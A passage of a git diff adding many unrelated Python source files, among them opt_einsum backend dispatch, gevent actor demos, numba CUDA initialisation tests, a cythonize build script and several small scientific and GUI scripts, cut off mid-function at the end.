"dask.array", + "theano": "theano.tensor", + "torch": "opt_einsum.backends.torch", + "jax": "jax.numpy", + "autograd": "autograd.numpy", + "mars": "mars.tensor", +} + + +def _import_func(func: str, backend: str, default: Any = None) -> Any: + """Try and import ``{backend}.{func}``. + If library is installed and func is found, return the func; + otherwise if default is provided, return default; + otherwise raise an error. + """ + try: + lib = importlib.import_module(_aliases.get(backend, backend)) + return getattr(lib, func) if default is None else getattr(lib, func, default) + except AttributeError: + error_msg = ( + "{} doesn't seem to provide the function {} - see " + "https://optimized-einsum.readthedocs.io/en/latest/backends.html " + "for details on which functions are required for which contractions." + ) + raise AttributeError(error_msg.format(backend, func)) + + +# manually cache functions as python2 doesn't support functools.lru_cache +# other libs will be added to this if needed, but pre-populate with numpy +_cached_funcs = { + ("tensordot", "numpy"): numpy.tensordot, + ("transpose", "numpy"): numpy.transpose, + ("einsum", "numpy"): numpy.einsum, + # also pre-populate with the arbitrary object backend + ("tensordot", "object"): numpy.tensordot, + ("transpose", "object"): numpy.transpose, + ("einsum", "object"): object_arrays.object_einsum, +} + + +def get_func(func: str, backend: str = "numpy", default: Any = None) -> Any: + """Return ``{backend}.{func}``, e.g. ``numpy.einsum``, + or a default func if provided. Cache result. + """ + try: + return _cached_funcs[func, backend] + except KeyError: + fn = _import_func(func, backend, default) + _cached_funcs[func, backend] = fn + return fn + + +# mark libs with einsum, else try to use tensordot/transpose as much as possible +_has_einsum: Dict[str, bool] = {} + + +def has_einsum(backend: str) -> bool: + """Check if ``{backend}.einsum`` exists, cache result for performance.""" + try: + return _has_einsum[backend] + except KeyError: + try: + get_func("einsum", backend) + _has_einsum[backend] = True + except AttributeError: + _has_einsum[backend] = False + + return _has_einsum[backend] + + +_has_tensordot: Dict[str, bool] = {} + + +def has_tensordot(backend: str) -> bool: + """Check if ``{backend}.tensordot`` exists, cache result for performance.""" + try: + return _has_tensordot[backend] + except KeyError: + try: + get_func("tensordot", backend) + _has_tensordot[backend] = True + except AttributeError: + _has_tensordot[backend] = False + + return _has_tensordot[backend] + + +# Dispatch to correct expression backend +# these are the backends which support explicit to-and-from numpy conversion +CONVERT_BACKENDS = { + "tensorflow": _tensorflow.build_expression, + "theano": _theano.build_expression, + "cupy": _cupy.build_expression, + "torch": _torch.build_expression, + "jax": _jax.build_expression, +} + +EVAL_CONSTS_BACKENDS = { + "tensorflow": _tensorflow.evaluate_constants, + "theano": _theano.evaluate_constants, + "cupy": _cupy.evaluate_constants, + "torch": _torch.evaluate_constants, + "jax": _jax.evaluate_constants, +} + + +def build_expression(backend, arrays, expr): + """Build an expression, based on ``expr`` and initial arrays ``arrays``, + that evaluates using backend ``backend``. + """ + return CONVERT_BACKENDS[backend](arrays, expr) + + +def evaluate_constants(backend, arrays, expr): + """Convert constant arrays to the correct backend, and perform as much of + the contraction of ``expr`` with these as possible. + """ + return EVAL_CONSTS_BACKENDS[backend](arrays, expr) + + +def has_backend(backend: str) -> bool: + """Checks if the backend is known.""" + return backend.lower() in CONVERT_BACKENDS diff --git a/pool/shard009/Python/0082354_color_darker.py b/pool/shard009/Python/0082354_color_darker.py new file mode 100644 index 0000000000000000000000000000000000000000..40bfb19e688724d78c29284526c62ac9b34eea50 --- /dev/null +++ b/pool/shard009/Python/0082354_color_darker.py @@ -0,0 +1,12 @@ +import coloreffect + +class C(coloreffect.ColorEffect): + def colmod(self,r,g,b): + FACTOR=0.9 + r=int(round(max(r*FACTOR,0))) + g=int(round(max(g*FACTOR,0))) + b=int(round(max(b*FACTOR,0))) + return '%02x%02x%02x' % (r,g,b) + +c = C() +c.affect() diff --git a/pool/shard009/Python/0082355_covarianceMatrixBuilding.py b/pool/shard009/Python/0082355_covarianceMatrixBuilding.py new file mode 100644 index 0000000000000000000000000000000000000000..0e1c1cd32051cd36f44a9c25780fbe7b748f1194 --- /dev/null +++ b/pool/shard009/Python/0082355_covarianceMatrixBuilding.py @@ -0,0 +1,135 @@ +""" +OUTDATED +TODO: If deemed important, Tim to come back and update this + +Compare to find the fastest means to construct covariance matrices +from data stored in columns + +Sample output: +>> Loading ../data/marusa_galah_li_strong_stars_xyzuvw.fits... +>> Reading in took 0.367851 seconds +>> Testing on 2416 stars +>> einsum took 0.003273 seconds +>> tiling took 0.00862 seconds +>> iterative took 1.418085 seconds +>> Loading ../data/gaia_cartesian_full_6d_table.fits... +>> Reading in took 13.310633 seconds +>> Testing on 6376803 stars +>> einsum took 12.041975 seconds +>> tiling took 8.953329 seconds +>> Too many stars to bother with iterative timings +""" + +import numpy as np +from astropy.table import Table +import time + +import sys +sys.path.insert(0, '..') + +from chronostar.tabletool import buildXYZUVWCovMatrices + +def buildMeanAndCovMatFromRow(row): + """ + Build a covariance matrix from a row + + Paramters + --------- + row : astropy Table row + Entries: {X, Y, Z, U, V, W, dX, dY, ..., cXY, cXZ, ...} + + Return + ------ + cov_mat : [6,6] numpy array + Diagonal elements are dX^2, dY^2, ... + Off-diagonal elements are cXY*dX*dY, cXZ*dX*dZ, ... + """ + dim = 6 + CART_COL_NAMES = ['X', 'Y', 'Z', 'U', 'V', 'W', + 'dX', 'dY', 'dZ', 'dU', 'dV', 'dW', + 'c_XY', 'c_XZ', 'c_XU', 'c_XV', 'c_XW', + 'c_YZ', 'c_YU', 'c_YV', 'c_YW', + 'c_ZU', 'c_ZV', 'c_ZW', + 'c_UV', 'c_UW', + 'c_VW'] + mean = np.zeros(dim) + for i, col_name in enumerate(CART_COL_NAMES[:6]): + mean[i] = row[col_name] + + std_vec = np.zeros(dim) + for i, col_name in enumerate(CART_COL_NAMES[6:12]): + std_vec[i] = row[col_name] + corr_tri = np.zeros((dim,dim)) + # Insert upper triangle (top right) correlations + for i, col_name in enumerate(CART_COL_NAMES[12:]): + corr_tri[np.triu_indices(dim,1)[0][i],np.triu_indices(dim,1)[1][i]]\ + =row[col_name] + # Build correlation matrix + corr_mat = np.eye(6) + corr_tri + corr_tri.T + # Multiply through by standard deviations + cov_mat = corr_mat * std_vec * std_vec.reshape(6,1) + return mean, cov_mat + + +def iterativeBuildCovMatrix(data): + covs = [] + for row in data: + mean, cov = buildMeanAndCovMatFromRow(row) + covs.append(cov) + return np.array(covs) + + +def alternativeBuildCovMatrix(data): + nstars = len(data) + cls = np.array([ + ['X', 'c_XY', 'c_XZ', 'c_XU', 'c_XV', 'c_XW'], + ['c_XY', 'Y', 'c_YZ', 'c_YU', 'c_YV', 'c_YW'], + ['c_XZ', 'c_YZ', 'Z', 'c_ZU', 'c_ZV', 'c_ZW'], + ['c_XU', 'c_YU', 'c_ZU', 'U', 'c_UV', 'c_UW'], + ['c_XV', 'c_YV', 'c_ZV', 'c_UV', 'V', 'c_VW'], + ['c_XW', 'c_YW', 'c_ZW', 'c_UW', 'c_VW', 'W'], + ]) + + # Construct an [nstars,6,6] array of identity matrices + covs = np.zeros((nstars,6,6)) + idx = np.arange(6) + covs[:, idx, idx] = 1.0 + + # Insert correlations into off diagonals + for i in range(0,5): + for j in range(i+1,5): + covs[:,i,j] = covs[:,j,i] = data[cls[i,j]] + + # multiply each row and each column by appropriate error + for i in range(6): + covs[:,i,:] *= np.tile(data[cls[i,i]], (6,1)).T + covs[:,:,i] *= np.tile(data[cls[i,i]], (6,1)).T + + return covs + +if __name__ == '__main__': + filenames = ['../data/marusa_galah_li_strong_stars_xyzuvw.fits', + '../data/gaia_cartesian_full_6d_table.fits'] + for filename in filenames: + print("Loading {}...".format(filename)) + t_start = time.clock() + table = Table.read(filename) + t_end = time.clock() + print("Reading in took {} seconds".format(t_end - t_start)) + nstars = len(table) + + functions = [buildXYZUVWCovMatrices, + alternativeBuildCovMatrix, + iterativeBuildCovMatrix] + names = ['einsum', 'tiling', 'iterative'] + + print("Testing on {} stars".format(len(table))) + for name, func in zip(names, functions): + if (name == names[2] and nstars > 5000): + print("Too many stars to bother with iterative timings") + else: + t_start = time.clock() + func(table) + t_end = time.clock() + print('{:10} took {} seconds'.format(name, t_end - t_start)) + diff --git a/pool/shard009/Python/0082356_actor.py b/pool/shard009/Python/0082356_actor.py new file mode 100644 index 0000000000000000000000000000000000000000..ee2921681f905a7034d6e9a4845876a8cb490427 --- /dev/null +++ b/pool/shard009/Python/0082356_actor.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +import gevent +from gevent import monkey; monkey.patch_all() +from gevent.queue import Queue, Empty +from gevent.event import AsyncResult + + +class ActorWorker(gevent.Greenlet): + + def __init__(self, name, interval): + self.name = name + self.interval = interval + self.running = True + super(ActorWorker, self).__init__() + + def shutdown(self): + self.running = False + + def _work(self): + """ + Define in your subclass. + """ + raise NotImplemented() + + def _run(self): + while self.running: + self._work() + gevent.sleep(self.interval) + + +class Actor(gevent.Greenlet): + + def __init__(self, interval): + self.inbox = Queue() # AsyncResult + self._interval = interval + self._timeout = None + super(Actor, self).__init__() + + def _work(self): + """ + Define in your subclass. + """ + raise NotImplemented() + + def _run(self): + while True: + try: + msg = self.inbox.get(block=True, timeout=self._timeout) + if msg == 'stop': + self._timeout = None + elif msg == 'start': + self._timeout = self._interval + elif msg == 'exit': + break + except Empty: + self._work() + gevent.sleep(0) + + def start(self): + self.inbox.put('start') + return super(Actor, self).start() + + def stop(self): + self.inbox.put('stop') + + def shutdown(self): + self.inbox.put('exit') + + +class Pinger(Actor): + + def __init__(self, name, interval): + self.name = name + super(Pinger, self).__init__(interval) + + def work(self): + print(self.name) + + +class Ponger(Pinger): + def work(self): + print(self.name) + + +ping = Pinger('AAAAAAA', 1) +pong = Ponger('BBBBBBB', 1) + +ping.start() +pong.start() + +ping.start() +pong.start() + +gevent.sleep(5) + +ping.stop() +pong.stop() + +gevent.sleep(5) + +ping.start() +pong.start() + +gevent.sleep(5) + +ping.shutdown() +pong.shutdown() + +gevent.joinall([ping, pong]) diff --git a/pool/shard009/Python/0082368_fit1.py b/pool/shard009/Python/0082368_fit1.py new file mode 100644 index 0000000000000000000000000000000000000000..edb25466f9633ea22d635976dafd3104737f0a41 --- /dev/null +++ b/pool/shard009/Python/0082368_fit1.py @@ -0,0 +1,25 @@ +#Least square method for Curve Fitting; plotting results. +from pylab import * +from scipy import * +from scipy.optimize import leastsq + +def err_func(p,y,x): + A,k,theta = p + return y - A*sin(2*pi*k*x+theta) + +def evaluate(x,p): + return p[0] * sin(2*pi*p[1]*x+p[2]) + +ax = arange(0, 0.2, 0.001) +A,k,theta = 5, 50.0, pi/3 +y_true = A*sin(2*pi*k*ax+theta) +y_meas = y_true + 0.2*randn(len(ax)) + +p0 = [6, 50.0, pi/3] +plsq = leastsq(err_func,p0,args=(y_meas,ax)) +print( plsq) + +plot(ax,y_true) +plot(ax,y_meas,'o') +plot(ax,evaluate(ax,plsq[0])) +show() diff --git a/pool/shard009/Python/0082374_test_init.py b/pool/shard009/Python/0082374_test_init.py new file mode 100644 index 0000000000000000000000000000000000000000..600687fd52aa515b5adca075f1510726d914d9b4 --- /dev/null +++ b/pool/shard009/Python/0082374_test_init.py @@ -0,0 +1,139 @@ +import multiprocessing as mp +import os + +from numba import cuda +from numba.cuda.cudadrv.driver import CudaAPIError, driver +from numba.cuda.cudadrv.error import CudaSupportError +from numba.cuda.testing import skip_on_cudasim, unittest, CUDATestCase + + +# A mock of cuInit that always raises a CudaAPIError +def cuInit_raising(arg): + raise CudaAPIError(999, 'CUDA_ERROR_UNKNOWN') + + +# Test code to run in a child that patches driver.cuInit to a variant that +# always raises. We can't use mock.patch.object here because driver.cuInit is +# not assigned until we attempt to initialize - mock.patch.object cannot locate +# the non-existent original method, and so fails. Instead we patch +# driver.cuInit with our raising version prior to any attempt to initialize. +def cuInit_raising_test(result_queue): + driver.cuInit = cuInit_raising + + success = False + msg = None + + try: + # A CUDA operation that forces initialization of the device + cuda.device_array(1) + except CudaSupportError as e: + success = True + msg = e.msg + + result_queue.put((success, msg)) + + +# Similar to cuInit_raising_test above, but for testing that the string +# returned by cuda_error() is as expected. +def initialization_error_test(result_queue): + driver.cuInit = cuInit_raising + + success = False + msg = None + + try: + # A CUDA operation that forces initialization of the device + cuda.device_array(1) + except CudaSupportError: + success = True + + msg = cuda.cuda_error() + result_queue.put((success, msg)) + + +# For testing the path where Driver.__init__() catches a CudaSupportError +def cuda_disabled_test(result_queue): + success = False + msg = None + + try: + # A CUDA operation that forces initialization of the device + cuda.device_array(1) + except CudaSupportError as e: + success = True + msg = e.msg + + result_queue.put((success, msg)) + + +# Similar to cuda_disabled_test, but checks cuda.cuda_error() instead of the +# exception raised on initialization +def cuda_disabled_error_test(result_queue): + success = False + msg = None + + try: + # A CUDA operation that forces initialization of the device + cuda.device_array(1) + except CudaSupportError: + success = True + + msg = cuda.cuda_error() + result_queue.put((success, msg)) + + +@skip_on_cudasim('CUDA Simulator does not initialize driver') +class TestInit(CUDATestCase): + def _test_init_failure(self, target, expected): + # Run the initialization failure test in a separate subprocess + ctx = mp.get_context('spawn') + result_queue = ctx.Queue() + proc = ctx.Process(target=target, args=(result_queue,)) + proc.start() + proc.join(30) # should complete within 30s + success, msg = result_queue.get() + + # Ensure the child process raised an exception during initialization + # before checking the message + if not success: + self.fail('CudaSupportError not raised') + + self.assertIn(expected, msg) + + def test_init_failure_raising(self): + expected = 'Error at driver init: CUDA_ERROR_UNKNOWN (999)' + self._test_init_failure(cuInit_raising_test, expected) + + def test_init_failure_error(self): + expected = 'CUDA_ERROR_UNKNOWN (999)' + self._test_init_failure(initialization_error_test, expected) + + def _test_cuda_disabled(self, target): + # Uses _test_init_failure to launch the test in a separate subprocess + # with CUDA disabled. + cuda_disabled = os.environ.get('NUMBA_DISABLE_CUDA') + os.environ['NUMBA_DISABLE_CUDA'] = "1" + try: + expected = 'CUDA is disabled due to setting NUMBA_DISABLE_CUDA=1' + self._test_init_failure(cuda_disabled_test, expected) + finally: + if cuda_disabled is not None: + os.environ['NUMBA_DISABLE_CUDA'] = cuda_disabled + else: + os.environ.pop('NUMBA_DISABLE_CUDA') + + def test_cuda_disabled_raising(self): + self._test_cuda_disabled(cuda_disabled_test) + + def test_cuda_disabled_error(self): + self._test_cuda_disabled(cuda_disabled_error_test) + + def test_init_success(self): + # Here we assume that initialization is successful (because many bad + # things will happen with the test suite if it is not) and check that + # there is no error recorded. + self.assertIsNone(cuda.cuda_error()) + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard009/Python/0082379_cythonize.py b/pool/shard009/Python/0082379_cythonize.py new file mode 100644 index 0000000000000000000000000000000000000000..e2ea32f49a7e4057dadc9332689a96fb8f3ad361 --- /dev/null +++ b/pool/shard009/Python/0082379_cythonize.py @@ -0,0 +1,198 @@ +#!/usr/bin/env python +""" cythonize + +Cythonize pyx files into C files as needed. + +Usage: cythonize [root_dir] + +Default [root_dir] is 'skutil'. + +Checks pyx files to see if they have been changed relative to their +corresponding C files. If they have, then runs cython on these files to +recreate the C files. + +The script detects changes in the pyx/pxd files using checksums +[or hashes] stored in a database file + +Simple script to invoke Cython on all .pyx +files; while waiting for a proper build system. Uses file hashes to +figure out if rebuild is needed. + +It is called by ./setup.py sdist so that sdist package can be installed without +cython + +Originally written by Dag Sverre Seljebotn, and adapted from statsmodel 0.6.1 +(Modified BSD 3-clause); I copied it from sklearn/build_tools for skutil. + +Note: this script does not check any of the dependent C libraries; it only +operates on the Cython .pyx files or their corresponding Cython header (.pxd) +files. +""" + +# Author: Arthur Mensch +# Author: Raghav R V +# +# License: BSD 3 clause + +from __future__ import division, print_function, absolute_import + +import os +import re +import sys +import hashlib +import subprocess + +HASH_FILE = 'cythonize.dat' +DEFAULT_ROOT = 'skutil' + +# WindowsError is not defined on unix systems +try: + WindowsError +except NameError: + WindowsError = None + + +def cythonize(cython_file, gen_file): + try: + from Cython.Compiler.Version import version as cython_version + from distutils.version import LooseVersion + if LooseVersion(cython_version) < LooseVersion('0.21'): + raise Exception('Building skutil requires Cython >= 0.21') + + except ImportError: + pass + + flags = ['--fast-fail'] + if gen_file.endswith('.cpp'): + flags += ['--cplus'] + + try: + try: + rc = subprocess.call(['cython'] + + flags + ["-o", gen_file, cython_file]) + if rc != 0: + raise Exception('Cythonizing %s failed' % cython_file) + except OSError: + # There are ways of installing Cython that don't result in a cython + # executable on the path, see scipy issue gh-2397. + rc = subprocess.call([sys.executable, '-c', + 'import sys; from Cython.Compiler.Main ' + 'import setuptools_main as main;' + ' sys.exit(main())'] + flags + + ["-o", gen_file, cython_file]) + if rc != 0: + raise Exception('Cythonizing %s failed' % cython_file) + except OSError: + raise OSError('Cython needs to be installed') + + +def load_hashes(filename): + """Load the hashes dict from the hashfile""" + # { filename : (sha1 of header if available or 'NA', + # sha1 of input, + # sha1 of output) } + + hashes = {} + try: + with open(filename, 'r') as cython_hash_file: + for hash_record in cython_hash_file: + (filename, header_hash, + cython_hash, gen_file_hash) = hash_record.split() + hashes[filename] = (header_hash, cython_hash, gen_file_hash) + except (KeyError, ValueError, AttributeError, IOError): + hashes = {} + return hashes + + +def save_hashes(hashes, filename): + """Save the hashes dict to the hashfile""" + with open(filename, 'w') as cython_hash_file: + for key, value in hashes.items(): + cython_hash_file.write("%s %s %s %s\n" + % (key, value[0], value[1], value[2])) + + +def sha1_of_file(filename): + h = hashlib.sha1() + with open(filename, "rb") as f: + h.update(f.read()) + return h.hexdigest() + + +def clean_path(path): + """Clean the path""" + path = path.replace(os.sep, '/') + if path.startswith('./'): + path = path[2:] + return path + + +def get_hash_tuple(header_path, cython_path, gen_file_path): + """Get the hashes from the given files""" + + header_hash = (sha1_of_file(header_path) + if os.path.exists(header_path) else 'NA') + from_hash = sha1_of_file(cython_path) + to_hash = (sha1_of_file(gen_file_path) + if os.path.exists(gen_file_path) else 'NA') + + return header_hash, from_hash, to_hash + + +def cythonize_if_unchanged(path, cython_file, gen_file, hashes): + full_cython_path = os.path.join(path, cython_file) + full_header_path = full_cython_path.replace('.pyx', '.pxd') + full_gen_file_path = os.path.join(path, gen_file) + + current_hash = get_hash_tuple(full_header_path, full_cython_path, + full_gen_file_path) + + if current_hash == hashes.get(clean_path(full_cython_path)): + print('%s has not changed' % full_cython_path) + return + + print('Processing %s' % full_cython_path) + cythonize(full_cython_path, full_gen_file_path) + + # changed target file, recompute hash + current_hash = get_hash_tuple(full_header_path, full_cython_path, + full_gen_file_path) + + # Update the hashes dict with the new hash + hashes[clean_path(full_cython_path)] = current_hash + + +def check_and_cythonize(root_dir): + print(root_dir) + hashes = load_hashes(HASH_FILE) + + for cur_dir, dirs, files in os.walk(root_dir): + for filename in files: + if filename.endswith('.pyx'): + gen_file_ext = '.c' + # Cython files with libcpp imports should be compiled to cpp + with open(os.path.join(cur_dir, filename), 'rb') as f: + data = f.read() + m = re.search(b"libcpp", data, re.I | re.M) + if m: + gen_file_ext = ".cpp" + + cython_file = filename + gen_file = filename.replace('.pyx', gen_file_ext) + cythonize_if_unchanged(cur_dir, cython_file, gen_file, hashes) + + # Save hashes once per module. This prevents cythonizing prev. + # files again when debugging broken code in a single file + save_hashes(hashes, HASH_FILE) + + +def main(root_dir=DEFAULT_ROOT): + check_and_cythonize(root_dir) + + +if __name__ == '__main__': + try: + root_dir_arg = sys.argv[1] + except IndexError: + root_dir_arg = DEFAULT_ROOT + main(root_dir_arg) diff --git a/pool/shard009/Python/0082389_temp_netcdf.py b/pool/shard009/Python/0082389_temp_netcdf.py new file mode 100644 index 0000000000000000000000000000000000000000..70c872366324a50b71c8a99a20da531f473220b7 --- /dev/null +++ b/pool/shard009/Python/0082389_temp_netcdf.py @@ -0,0 +1,22 @@ +import mooda +import matplotlib.pyplot as plt +import matplotlib.style as style + +style.use('ggplot') + +wf = mooda.WaterFrame() +wf.from_netcdf(r"C:\Users\rbard\Desktop\Tarragona-coast-buoy\IR_TS_MO_Tarragona-coast-buoy.nc") + +print("Parameters:", wf.parameters()) +print("Memory usage:", wf.memory_usage()/10**6, "MBytes") + +wf.use_only('TEMP', flags=1, dropnan=True) +print("Memory usage:", wf.memory_usage()/10**6, "MBytes") + +print("Start:", wf.data.index[0]) +print("End:", wf.data.index[-1]) + +wf.slice_time('20130101000000', '20161231235959') + +wf.barplot(key='TEMP', average_time='A') +plt.show() diff --git a/pool/shard009/Python/0082395_init__.py b/pool/shard009/Python/0082395_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..eca3cd98c5a475d67e1b41fea80c2b77e8fb0a15 --- /dev/null +++ b/pool/shard009/Python/0082395_init__.py @@ -0,0 +1,65 @@ +# -*- coding: utf-8 -*- + +""" + :copyright: (c) 2011 by Tobias Heinzen + :license: BSD, see LICENSE for more details +""" + +def create_app(**kwargs): + """ + create a WSGI application that can be used in the + modules. + """ + + from flask import Flask + from pyggi.lib.config import config + import logging + + static_base = '/static' + if config.has_option('general', 'static_url_base'): + static_base = config.get('general', 'static_url_base') + app = Flask(__name__, static_url_path=static_base) + + # get logging settings + config_settings = dict( + level=logging.WARNING, + format="[%(asctime)s] %(levelname)s: %(message)s", + datefmt="%Y-%m-%d %H:%M:%S" + ) + + if config.has_option('log', 'file'): + config_settings['filename'] = config.get('log', 'file') + + # activate logging + logging.basicConfig(**config_settings) + + # register modules to application. the modules come + # from the configuration file. there is a list of + # modules to be imported. an item in this list has the + # form ("module:name","prefix") where name is the name of the module + # object that should be imported + for module_desc in config.items('modules'): + module, prefix = module_desc + module, attribute = module.rsplit('.', 1) + + # now we try to import the module and register it + # in our application. otherwise ignore and continue + try: + _import = __import__(module, globals(), locals(), [attribute], -1) + prefix = "" if prefix.strip('/') == "" else "/" + prefix.strip('/') + app.register_blueprint(getattr(_import, attribute), url_prefix=prefix) + except Exception as e: + logging.critical("could not load module '%s': %s", module_desc[0], e) + + # register some filters + import lib.filters + app.jinja_env.filters['dateformat'] = lib.filters.format_datetime + app.jinja_env.filters['diffformat'] = lib.filters.format_diff + app.jinja_env.filters['timesince'] = lib.filters.humanize_timesince + app.jinja_env.filters['force_unicode'] = lib.filters.force_unicode + app.jinja_env.filters['first_line'] = lib.filters.first_line + app.jinja_env.tests['text'] = lib.filters.is_text + app.context_processor(lambda: dict(static_url_for=lib.filters.static_url_for)) + + return app + diff --git a/pool/shard009/Python/0082396_test_gevent.py b/pool/shard009/Python/0082396_test_gevent.py new file mode 100644 index 0000000000000000000000000000000000000000..d5d90b232aadb462aa7eb15d108c50e9753afd26 --- /dev/null +++ b/pool/shard009/Python/0082396_test_gevent.py @@ -0,0 +1,31 @@ +# -*- coding: utf-8 -*- +# !/usr/bin/python +################################### PART0 DESCRIPTION ################################# +# Filename: test_gevent.py +# Description: +# + + +# Author: Shuai Yuan +# E-mail: ysh329@sina.com +# Create: 22016-02-15 20:54:00 +# Last: +__author__ = 'yuens' + +################################### PART1 IMPORT ###################################### + + +################################### PART2 CLASS && FUNCTION ########################### +from gevent import monkey; monkey.patch_socket() +import gevent + +def f(n): + for i in range(n): + print gevent.getcurrent(), i + +g1 = gevent.spawn(f, 5) +g2 = gevent.spawn(f, 5) +g3 = gevent.spawn(f, 5) +g1.join() +g2.join() +g3.join() \ No newline at end of file diff --git a/pool/shard009/Python/0082400_test_notification_method_type.py b/pool/shard009/Python/0082400_test_notification_method_type.py new file mode 100644 index 0000000000000000000000000000000000000000..e71e2ee8e30a9fa06a780093cf94d2bd07d0f9b1 --- /dev/null +++ b/pool/shard009/Python/0082400_test_notification_method_type.py @@ -0,0 +1,33 @@ +# (C) Copyright 2016 Hewlett Packard Enterprise Development LP +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from monasca_tempest_tests.tests.api import base +from tempest import test + + +class TestNotificationMethodType(base.BaseMonascaTest): + + @classmethod + def resource_setup(cls): + super(TestNotificationMethodType, cls).resource_setup() + + @classmethod + def resource_cleanup(cls): + super(TestNotificationMethodType, cls).resource_cleanup() + + @test.attr(type="gate") + def test_list_notification_method_type(self): + resp, response_body = (self.monasca_client. + list_notification_method_types()) + self.assertEqual(200, resp.status) diff --git a/pool/shard009/Python/0082401_newgame.py b/pool/shard009/Python/0082401_newgame.py new file mode 100644 index 0000000000000000000000000000000000000000..d0e2b42fa5cd4153edde97c3a4333c2f33d24649 --- /dev/null +++ b/pool/shard009/Python/0082401_newgame.py @@ -0,0 +1,45 @@ +# -*- coding: utf-8 -*- +""" + +""" + +from __future__ import division, absolute_import, print_function + +import kivy +import json + +from kivy.config import ConfigParser +from kivy.factory import Factory +from kivy.properties import ObjectProperty, NumericProperty, OptionProperty +from kivy.uix.anchorlayout import AnchorLayout +from kivy.uix.settings import Settings + +from ttlib.ttsettingint import TTSettingInt + +from tttraders import tttraders_kv, tttraders_user_conf +from tttraders.tradersgame import TradersGame + + +class NewGame(AnchorLayout): + app = ObjectProperty(None) + config = ObjectProperty(None) + settings = ObjectProperty(None) + + def __init__(self, **kwargs): + super(NewGame, self).__init__(**kwargs) + self.config = ConfigParser() + self.config.read(tttraders_user_conf('tttraders.ini')) + + self.settings.register_type("int", TTSettingInt) + + for tab in TradersGame.ConfigTabs: + lst = TradersGame.Config[tab] + for c in lst: + if c.get("key", None): + self.config.adddefaultsection(c['section']) + self.config.setdefault(c['section'], c['key'], c.get("default", None)) + self.settings.add_json_panel(tab, self.config, data=json.dumps(lst)) + + +Factory.register("NewGame", NewGame) +tttraders_kv("newgame.kv") diff --git a/pool/shard009/Python/0082405_cold.py b/pool/shard009/Python/0082405_cold.py new file mode 100644 index 0000000000000000000000000000000000000000..eb4c29c4a32b0981b6747325d138ea038a09c639 --- /dev/null +++ b/pool/shard009/Python/0082405_cold.py @@ -0,0 +1,49 @@ +'''Atypes is built on top of multimethods, which is in turn built on top of atypes. + To resolve this cyclic dependencies, we use Pythons type system to create + a low-functionality (cold) atypes-like systems. + The cold atypes can then be used to construct a cold multimethods as used in + the boostraping process. +''' + +from __future__ import absolute_import + +from functools import partial + +from ..func import identity, noop, compose +from ..atypes.common import worst_score, best_score, no_score, atypes_multimethods_interface + +__all__ = atypes_multimethods_interface + +def typep(op, tp): + return isinstance(op, tp) + +class Type(object): + def __init__(self, tps): + self.tps = tps + +def as_optimized_type(tp): + return Type(set(tp)) if isinstance(tp, tuple) else Type(set([tp])) + +def type_name(tp): + if len(tp.tps)==1: + return iter(tp.tps).next().__name__ + return '(%s)' % ','.join(x.__name__ for x in tp.tps) + +def compose_types_scorer(tps): + return type, [partial(score_type,tp) for tp in tps] + +def score_type(tp, key): + acc = no_score + for x in tp.tps: + try: + score = key.mro().index(x) + except ValueError: + continue + except TypeError: + score = best_score if issubclass(x, key) else no_score + if acc is no_score: + acc = score + else: + acc = min(acc, score) + return acc + diff --git a/pool/shard009/Python/0082409_ClearWithNontermTest.py b/pool/shard009/Python/0082409_ClearWithNontermTest.py new file mode 100644 index 0000000000000000000000000000000000000000..d2b4840ef84c6c302171905b09bd43e5d20e3f21 --- /dev/null +++ b/pool/shard009/Python/0082409_ClearWithNontermTest.py @@ -0,0 +1,48 @@ +#!/usr/bin/env python +""" +:Author Patrik Valkovic +:Created 12.03.2019 13:18 +:Licence MIT +Part of grammpy + +""" + +from unittest import TestCase, main +from grammpy import * + + +class A(Nonterminal): pass +class B(Nonterminal): pass +class C(Nonterminal): pass + + +class ClearWithNontermTest(TestCase): + def __init__(self, methodName='runTest'): + super().__init__(methodName) + self.g = Grammar() + + def setUp(self): + self.g = Grammar(nonterminals=[A, B, C], + start_symbol=A) + + def test_shouldDeleteStart(self): + self.g.nonterminals.remove(A) + self.assertIsNone(self.g.start) + + def test_shouldNotDeleteStart(self): + self.g.nonterminals.remove(B) + self.assertIsNotNone(self.g.start) + self.assertIs(self.g.start, A) + + def test_shouldDeleteWhenMultiple(self): + self.g.nonterminals.remove(B, A) + self.assertIsNone(self.g.start) + + def test_shouldNotDeleteWhenMultiple(self): + self.g.nonterminals.remove(B, C) + self.assertIsNotNone(self.g.start) + self.assertIs(self.g.start, A) + + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0082420_app.py b/pool/shard009/Python/0082420_app.py new file mode 100644 index 0000000000000000000000000000000000000000..bede1a0063f3e9cfb37fb98df8abb66230128294 --- /dev/null +++ b/pool/shard009/Python/0082420_app.py @@ -0,0 +1,105 @@ +import time + +from PyQt4.QtCore import * +from PyQt4.QtGui import * + +from PyKDE4.kdecore import * +from PyKDE4.kdeui import * + +import fiximportdir +from deveba import core +from deveba.userinterface import UserInterface +from logmessage import LogMessage +from window import Window +from workerthread import WorkerThread + +MAX_TEXTS_LENGTH = 4 + +class App(KApplication): + def __init__(self): + KApplication.__init__(self) + self.setQuitOnLastWindowClosed(False) + + self.sni = KStatusNotifierItem() + self.sni.setTitle(i18n("Deveba")) + self.sni.setCategory(KStatusNotifierItem.SystemServices) + self.sni.setStatus(KStatusNotifierItem.Active) + + self.sni.setIconByName("task-accepted") + + self.sni.setToolTipTitle(i18n("Deveba")) + + self.window = Window(self) + self.window.hide() + self.window.finished.connect(self.slotWindowClosed) + self.sni.setAssociatedWidget(self.window) + + self.logMessages = [] + self.success = True + self.workerThread = None + + @staticmethod + def options(): + options = KCmdLineOptions() + options.add("log ", ki18n("Write log to file"), "-") + options.add("c").add("config ", ki18n("Config file to use"), core.CONFIG_FILE) + options.add("+[group]", ki18n("Start backup of $group")) + return options + + def exec_(self): + args = KCmdLineArgs.parsedArgs() + + core.setup_logger(str(args.getOption("log"))) + + config_file = args.getOption("config") + config = core.load_config(config_file) + + if args.count() > 0: + group_names = [str(args.arg(x)) for x in range(args.count())] + groups = 